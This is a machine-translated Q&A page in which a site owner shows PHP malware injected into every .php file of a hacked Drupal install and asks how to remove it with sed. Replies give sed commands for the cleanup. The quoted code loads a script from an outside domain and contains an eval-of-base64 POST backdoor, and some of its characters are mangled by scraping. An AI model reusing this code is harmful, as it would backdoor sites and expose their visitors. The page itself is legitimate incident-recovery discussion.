2012-02-16 37 views
23

tôi đã bị hack bằng cách chạy cài đặt Drupal thực sự đã lỗi thời (xấu hổ về tôi)sed, thay thế dòng đầu tiên

Có vẻ như họ tiêm sau trong mỗi .php tập tin;

<?php global $sessdt_o; if(!$sessdt_o) { 
    $sessdt_o = 1; $sessdt_k = "lb11"; 
    if([email protected]$_COOKIE[$sessdt_k]) { 
    $sessdt_f = "102"; 
    if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
    else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
    } 
    else { 
    if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
    if([email protected]_sent()) { 
     @setcookie($sessdt_k,$sessdt_f); } 
    else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
    sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; 
    $sessdt_v = urlencode(strrev($sessdt_j)); 
    $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
    echo "<script src='$sessdt_u'></script>"; 
    echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
    } 
    $sessdt_p = "showimg"; 
    if(isset($_POST[$sessdt_p])){ 
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 
    exit; 
    } 
    } 

Tôi có thể tháo và thay thế điều này bằng sed? ví dụ:

find . -name *.php | xargs ... 

Tôi hy vọng sẽ có trang web hoạt động chỉ trong thời gian sử dụng wget và tạo bản sao tĩnh.

+0

Tôi đoán nó là hơi muộn , nhưng đối với bất kỳ ai có thể ở trong tình huống tương tự: Không bao giờ cố gắng sửa chữa một hệ thống bị tấn công. Giải pháp duy nhất là cài đặt lại từ đầu và chỉ sao chép các tệp cấu hình đã xác minh bằng tay và kết xuất DB. – Dunatotatos

Trả lời

52

Bạn có thể sử dụng sed với một cái gì đó giống như

sed '1 s/^.*$/<?php/' 

Phần 1 chỉ thay thế dòng đầu tiên. Sau đó, nhờ vào lệnh s, nó thay thế toàn bộ dòng bằng <?php.

Để sửa đổi tệp của bạn tại chỗ, hãy sử dụng tùy chọn -i của GNU sed.

+1

Tôi đoán bạn sẽ muốn thay đổi nó thành một cái gì đó như ' tripleee

1

Để thay thế dòng đầu tiên của một tập tin, bạn có thể sử dụng c (ví "thay đổi") lệnh của sed:

sed '1c<?php' 

mà dịch để: "trên dòng 1, thay thế các không gian mô hình với <?php ".

Đối với vấn đề cụ thể này, tuy nhiên, một cái gì đó như thế này có lẽ sẽ làm việc:

sed '1,/^$/c<?php' 

mà đọc: thay đổi phạm vi "dòng 1 đến dòng trống đầu tiên" để <?php, do đó thay thế tất cả các mã tiêm.

(Phần thứ hai của địa chỉ (các biểu thức chính quy /^$/) nên được thay thế bằng một biểu thức mà thực sự sẽ phân định mã tiêm, nếu nó không phải là một dòng trống.)

Các vấn đề liên quan